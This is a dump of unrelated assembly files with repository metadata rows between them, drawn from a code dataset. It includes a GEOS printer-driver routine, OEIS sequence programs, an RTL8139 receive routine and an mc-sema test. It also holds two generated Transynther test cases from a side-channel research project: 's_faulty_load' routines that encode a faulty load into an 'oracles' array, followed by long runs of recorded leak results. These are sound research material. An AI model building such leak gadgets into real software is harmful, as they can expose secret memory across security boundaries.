mov ax, ds:[si].CB_xres
mov ss:[bitmapXres], ax
mov ax, ds:[si].CB_yres
mov ss:[bitmapYres], ax
; If we're dealing with a fax bitmap, we need to change bitmap's
; resolution to doc coordintates for the call into EPS. A fax bitmap
; will not have a resolution of 72 dpi.
cmp ax, 72
je unlock
mov ds:[si].CB_yres, 72
mov ds:[si].CB_xres, 72
unlock:
push bp
mov bp, dx
call VMUnlock
pop bp
; Create a gstate so we can specify how we want the bitmap drawn
clr di ; no window
call GrCreateState ; di = gstate
mov ss:[gstate], di
; Again, if this is a fax bitmap, we figure the scale differently
; (doc coords / fax res)
cmp ss:[bitmapYres], 72
je normal
mov dx, 72
mov bx, ss:[bitmapYres]
clr cx, ax
call GrUDivWWFixed
push dx, cx ; save y res
mov dx, 72
mov bx, ss:[bitmapXres]
clr cx, ax
call GrUDivWWFixed
pop bx, ax
jmp applyScale
normal:
; set scale factor
mov bx, es:[PS_deviceInfo]
call MemLock
mov ds, ax
clr ax
mov al, es:[PS_mode]
mov si, ax ; si <- mode
mov si, ds:[si].PI_firstMode; ds:si <- GraphicsProperties
mov ax, ds:[si].GP_xres ; ax <- printer xres
mov cx, ds:[si].GP_yres ; bx <- printer yres
call MemUnlock
push ax ; save printer xres
mov dx, ss:[bitmapYres] ; dx.cx <- bitmap yres
mov bx, cx
clr ax, cx ; bx.ax <- printer yres
call GrUDivWWFixed ; dx.cx <- scaleY
pop ax
push dx, cx ; save scaleY
mov dx, ss:[bitmapXres] ; dx.cx <- bitmap xres
mov bx, ax
clr ax, cx ; bx.ax <- printer xres
call GrUDivWWFixed ; dx.cx <- scaleX
pop bx, ax ; bx.ax <- scaleY
applyScale:
call GrApplyScale ; apply scale bitmap
; set draw position
mov ax, es:[PS_cursorPos].P_x
mov bx, es:[PS_cursorPos].P_y
call GrMoveTo
; Now, call the eps library to translate the bitmap
mov dx, es:[PS_expansionInfo]
mov bx, dx
call MemLock
mov ds, ax
mov di, ds:[GEO_hFile] ; di = get stream block handle
call MemUnlock
mov bx, ss:[bitmapFile]
mov ss:[TPD_dataBX], bx ; bx = bitmap file
mov ax, ss:[bitmapBlock]
mov ss:[TPD_dataAX], ax ; ax = bitmap block
mov si, ss:[gstate] ; si = gstate
mov bx, es:[PS_epsLibrary]
mov ax, TR_EXPORT_BITMAP
call CallEPSLibrary
;
; Reset the bitmap's resolution for next time
;
push bp, ax
mov bx, ss:[bitmapFile]
mov ax, ss:[bitmapBlock]
mov cx, ss:[bitmapXres]
mov dx, ss:[bitmapYres]
call VMLock
mov ds, ax
mov si, size HugeArrayDirectory ; skip past dir heade
mov ds:[si].CB_xres, cx
mov ds:[si].CB_yres, dx
call VMUnlock
pop bp, ax
; Update cursor position and destroy gstate
mov cx, es:[PS_swath].B_height
add es:[PS_cursorPos].P_y, cx ; update cursor pos
mov di, ss:[gstate]
call GrDestroyState
; Return carry set if error
cmp ax, TE_NO_ERROR
je done
stc ; error
done:
.leave
ret
PrintSwath endp
| 23.050691 | 79 | 0.595762 |
1e7ecc562e135adaf10f0c9c156f55b2c72f260d | 640 | asm | Assembly | oeis/319/A319576.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/319/A319576.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/319/A319576.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A319576: a(n) = (4/15)*n*(n - 1)*(n^3 - 9*n^2 + 26*n - 9).
; Submitted by Jon Maiga
; 0,0,8,24,48,112,312,840,2016,4320,8424,15224,25872,41808,64792,96936,140736,199104,275400,373464,497648,652848,844536,1078792,1362336,1702560,2107560,2586168,3147984,3803408,4563672,5440872,6448000,7598976,8908680,10392984,12068784,13954032,16067768,18430152,21062496,23987296,27228264,30810360,34759824,39104208,43872408,49094696,54802752,61029696,67810120,75180120,83177328,91840944,101211768,111332232,122246432,134000160,146640936,160218040,174782544,190387344,207087192,224938728,244000512
mov $1,$0
bin $0,5
mul $0,4
bin $1,2
add $0,$1
mul $0,8
| 58.181818 | 496 | 0.785938 |
757b9a0c8cdd21f05c5bc4c4e7a39ff8ba3b33fd | 1,980 | asm | Assembly | rtl8139/receive.asm | ssebs/xos | 8c50cb7753690ad67696131a8b9935947e1a8075 | [
"MIT"
] | 15 | 2020-05-02T22:04:24.000Z | 2021-08-31T16:56:59.000Z | rtl8139/receive.asm | JamesLinus/xos | 3fba0cb15e84b5f7cd08e0a29ed5f86087192d2e | [
"MIT"
] | null | null | null | rtl8139/receive.asm | JamesLinus/xos | 3fba0cb15e84b5f7cd08e0a29ed5f86087192d2e | [
"MIT"
] | 1 | 2019-07-20T10:10:36.000Z | 2019-07-20T10:10:36.000Z |
; RTL8139 Network Driver for xOS
; Copyright (c) 2017 by Omar Mohammad
use32
; receive:
; Receives a packet
; In\ EBX = Buffer to receive
; Out\ EAX = Number of bytes received
receive:
mov [.buffer], ebx
; is there a packet?
;mov dx, [io]
;add dx, RTL8139_INTERRUPT_STATUS
;in ax, dx
;test ax, RTL8139_INTERRUPT_RECEIVE_OK
;jz .empty
mov dx, [io]
add dx, RTL8139_COMMAND
in al, dx
test al, RTL8139_COMMAND_EMPTY
jnz .empty
; is it a good packet?
mov dx, [io]
add dx, RTL8139_RX_CURRENT_ADDRESS
in ax, dx
add ax, 16
movzx eax, ax
mov esi, [rx_buffer]
add esi, eax
mov ax, [esi] ; packet status
test ax, 1
jz .empty
mov cx, [esi+2] ; packet size
sub cx, 4
mov [.size], cx
add esi, 4 ; skip packet header
mov edi, [.buffer]
movzx ecx, cx
rep movsb
; update capr
;mov dx, [io]
;add dx, RTL8139_RX_COUNT
;in ax, dx
;sub ax, 16
;mov dx, [io]
;add dx, RTL8139_RX_CURRENT_ADDRESS
;out dx, ax
mov dx, [io]
add dx, RTL8139_RX_CURRENT_ADDRESS
in ax, dx
add ax, word[.size]
add ax, 8 + 3 ; skip packet header and ethernet CRC
and ax, not 3 ; must be dword aligned
add ax, 16
cmp ax, RX_BUFFER_SIZE-4096
jge .reset
sub ax, 16
out dx, ax
; clear interrupt
mov dx, [io]
add dx, RTL8139_INTERRUPT_STATUS
in ax, dx
and ax, RTL8139_INTERRUPT_RECEIVE_OK or RTL8139_INTERRUPT_RECEIVE_ERROR
out dx, ax
movzx eax, [.size]
ret
.reset:
call driver_reset
;mov edi, [rx_buffer]
;mov al, 0
;mov ecx, RX_BUFFER_SIZE
;rep stosb
;mov dx, [io]
;add dx, RTL8139_RX_CURRENT_ADDRESS
;mov ax, 0xFFF0
;out dx, ax
; clear interrupt
;mov dx, [io]
;add dx, RTL8139_INTERRUPT_STATUS
;in ax, dx
;and ax, RTL8139_INTERRUPT_RECEIVE_OK or RTL8139_INTERRUPT_RECEIVE_ERROR
;out dx, ax
movzx eax, [.size]
ret
.empty:
;mov dx, [io]
;add dx, RTL8139_INTERRUPT_STATUS
;in ax, dx
;and ax, RTL8139_INTERRUPT_RECEIVE_OK or RTL8139_INTERRUPT_RECEIVE_ERROR
;out dx, ax
mov eax, 0
ret
align 4
.buffer dd 0
.size dw 0
| 16.229508 | 73 | 0.690909 |
eff52b45daf426c6c8692edcdc5f3bddc490330b | 5,715 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1417.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1417.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_1417.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1e075, %rsi
lea addresses_A_ht+0x3a01, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
sub $34936, %r10
mov $4, %rcx
rep movsl
nop
nop
sub %rax, %rax
lea addresses_UC_ht+0x2a01, %rcx
nop
nop
and %r12, %r12
movl $0x61626364, (%rcx)
xor %rsi, %rsi
lea addresses_A_ht+0x19e01, %rsi
lea addresses_D_ht+0xda01, %rdi
nop
nop
nop
nop
nop
add %r13, %r13
mov $72, %rcx
rep movsl
nop
nop
nop
nop
nop
and $9522, %r13
lea addresses_normal_ht+0x15c01, %rsi
lea addresses_UC_ht+0x39e4, %rdi
clflush (%rsi)
nop
cmp %rbp, %rbp
mov $43, %rcx
rep movsw
sub $8706, %rax
lea addresses_WT_ht+0x12d01, %rax
inc %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
movups %xmm5, (%rax)
nop
dec %rsi
lea addresses_D_ht+0xa1c1, %r13
clflush (%r13)
nop
nop
nop
inc %rbp
movups (%r13), %xmm3
vpextrq $0, %xmm3, %r12
add $44561, %r13
lea addresses_WT_ht+0x17580, %r13
clflush (%r13)
nop
nop
nop
nop
add $45545, %rdi
mov (%r13), %r10
nop
nop
inc %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %rax
push %rdx
// Faulty Load
lea addresses_US+0x14601, %rax
nop
nop
nop
nop
and %r15, %r15
mov (%rax), %r10
lea oracles, %rdx
and $0xff, %r10
shlq $12, %r10
mov (%rdx,%r10,1), %r10
pop %rdx
pop %rax
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': True, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': True, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_A_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': True, 'congruent': 0}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 42.022059 | 2,999 | 0.660542 |
e02b4b6b918d35425c7717d342d6893aa9b76621 | 4,661 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_299.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_299.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_299.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1afe0, %rsi
lea addresses_A_ht+0x145b5, %rdi
clflush (%rdi)
add $12351, %r10
mov $17, %rcx
rep movsq
nop
and %rbx, %rbx
lea addresses_WT_ht+0x1e1e0, %rsi
lea addresses_UC_ht+0x162e0, %rdi
add %rax, %rax
mov $41, %rcx
rep movsq
xor %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r8
push %rdi
push %rdx
push %rsi
// Store
lea addresses_normal+0x3164, %r12
nop
nop
nop
nop
nop
xor %rdx, %rdx
movw $0x5152, (%r12)
nop
nop
nop
nop
nop
xor %rsi, %rsi
// Faulty Load
lea addresses_normal+0x92e0, %rsi
nop
nop
nop
xor $39758, %rdi
mov (%rsi), %rdx
lea oracles, %rsi
and $0xff, %rdx
shlq $12, %rdx
mov (%rsi,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %r8
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 51.788889 | 2,999 | 0.662948 |
1b6786384d312c5680079a25c5a91cf73134bdb0 | 792 | asm | Assembly | src/util/oli/app/ar2nlst.asm | olifink/qspread | d6403d210bdad9966af5d2a0358d4eed3f1e1c02 | [
"MIT"
] | null | null | null | src/util/oli/app/ar2nlst.asm | olifink/qspread | d6403d210bdad9966af5d2a0358d4eed3f1e1c02 | [
"MIT"
] | null | null | null | src/util/oli/app/ar2nlst.asm | olifink/qspread | d6403d210bdad9966af5d2a0358d4eed3f1e1c02 | [
"MIT"
] | null | null | null | ; make array to new list
include win1_mac_oli
section utility
xdef ut_ar2nlst
;+++
; make array to new list
;
; Entry Exit
; d1.l array type (0=abs,1=rel) preserved
; a0 array descriptor preserved
; a1 ptr to list space
;
; error: err.imem
; cc set
;---
ut_ar2nlst subr a0/a2/d1/d2
xjsr ut_arinf ; get array information
xjsr ut_allst ; allocate list space
bne.s exit
move.l a1,a2
bra.s lpe
lp move.l a0,(a2)+
add.w d2,a0
lpe dbra d1,lp
move.l #0,(a2) ; 0 is end of list marker
exit subend
end
| 23.294118 | 65 | 0.448232 |
1b965089c5f7a50b58a193849582d8110cf01ec4 | 214 | asm | Assembly | mc-sema/validator/x86/tests/Lea32R1.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | 2 | 2021-08-07T16:21:29.000Z | 2021-11-17T10:58:37.000Z | mc-sema/validator/x86/tests/Lea32R1.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | mc-sema/validator/x86/tests/Lea32R1.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; Lea32R1
mov eax, 0x21
mov edi, 0x8
;TEST_BEGIN_RECORDING
lea eax, [eax+edi+0x1]
;TEST_END_RECORDING
| 16.461538 | 26 | 0.719626 |
093e63f7cb95984ee21e95e46b90e4f02ce43ea9 | 28 | asm | Assembly | experiments/litmus/amd/5/thread.0.asm | phlo/concubine | 2a3bc9474878951aef54e8c7b6c47c5b4ac02fb1 | [
"MIT"
] | null | null | null | experiments/litmus/amd/5/thread.0.asm | phlo/concubine | 2a3bc9474878951aef54e8c7b6c47c5b4ac02fb1 | [
"MIT"
] | null | null | null | experiments/litmus/amd/5/thread.0.asm | phlo/concubine | 2a3bc9474878951aef54e8c7b6c47c5b4ac02fb1 | [
"MIT"
] | null | null | null | ADDI 1
STORE 0
FENCE
LOAD 1
| 5.6 | 7 | 0.75 |
139d2de2a31ccb35cbd7e9f22486c30cd9e6362e | 859 | asm | Assembly | code.asm | scarletea/MipsCPU_multi_cycle | 9a4f5ba40db9f74de0fb6eee3111eff6b6d87a26 | [
"Apache-2.0"
] | 3 | 2021-07-18T09:20:32.000Z | 2021-08-05T01:35:04.000Z | code.asm | AFongDS/MipsCPU_multi_cycle | 9a4f5ba40db9f74de0fb6eee3111eff6b6d87a26 | [
"Apache-2.0"
] | null | null | null | code.asm | AFongDS/MipsCPU_multi_cycle | 9a4f5ba40db9f74de0fb6eee3111eff6b6d87a26 | [
"Apache-2.0"
] | 1 | 2021-08-05T01:35:05.000Z | 2021-08-05T01:35:05.000Z | # Test File for 7 Instruction, include:
# ADDU/SUBU/LW/SW/ORI/BEQ/JAL
################################################################
### Make sure following Settings :
# Settings -> Memory Configuration -> Compact, Data at address 0
.text
ori $29, $0, 12
ori $2, $0, 0x1234
ori $3, $0, 0x3456
addu $4, $2, $3
subu $6, $3, $4
add $7, $2, $3
sub $8, $3, $4
and $9, $2, $3
or $10, $3, $4
xor $11, $0, $2
nor $12, $13, $1
slt $13, $8, $7
slt $13, $10 , $11
sltu $14, $8, $7
addi $15, $2, 0xf234
addiu $16, $2, 0xf234
andi $17, $2, 0x0004
xori $18, $3, 0x3450
sll $15, $15, 4
srl $16, $16, 4
srlv $15, $15, $17
sllv $16, $16, $17
sw $2, 0($0)
sw $3, 4($0)
sw $4, 4($29)
lw $5, 0($0)
beq $2, $5, _lb2
_lb1:
lw $3, 4($29)
_lb2:
lw $5, 4($0)
beq $3, $5, _lb1
jal F_Test_JAL
F_Test_JAL:
subu $6, $6, $2
sw $6, -4($29)
| 17.895833 | 64 | 0.486612 |
b8ed6eb63462ceb1deb4d8d58500ebe35ff50a61 | 651 | asm | Assembly | oeis/243/A243307.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/243/A243307.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/243/A243307.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A243307: a(n) = 2^phi(n) + phi(n).
; 3,3,6,6,20,6,70,20,70,20,1034,20,4108,70,264,264,65552,70,262162,264,4108,1034,4194326,264,1048596,4108,262162,4108,268435484,264,1073741854,65552,1048596,65552,16777240,4108,68719476772,262162,16777240,65552,1099511627816,4108,4398046511146,1048596,16777240,4194326,70368744177710,65552,4398046511146,1048596,4294967328,16777240,4503599627370548,262162,1099511627816,16777240,68719476772,268435484,288230376151711802,65552,1152921504606847036,1073741854,68719476772,4294967328,281474976710704
seq $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
mov $1,2
pow $1,$0
add $1,$0
mov $0,$1
| 72.333333 | 495 | 0.800307 |
4eb895f8fb50dbbab69459d2695bf485d97f7640 | 841 | asm | Assembly | oeis/201/A201783.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/201/A201783.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/201/A201783.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A201783: Primes of the form 5n^2 - 1.
; Submitted by Jon Maiga
; 19,79,179,499,719,1279,1619,1999,2879,3919,5119,5779,7219,8819,9679,11519,15679,19219,20479,24499,25919,28879,33619,35279,36979,40499,44179,49999,56179,71999,74419,79379,81919,84499,87119,89779,92479,95219,109519,124819,147919,151379,158419,161999,188179,199999,204019,216319,233279,237619,278479,292819,302579,337999,343219,364499,380879,391999,408979,420499,426319,462079,474319,480499,492979,505619,537919,557779,655219,677119,691919,699379,737279,760499,768319,776179,799999,808019,824179,873619
mov $2,332202
lpb $2
mov $3,$6
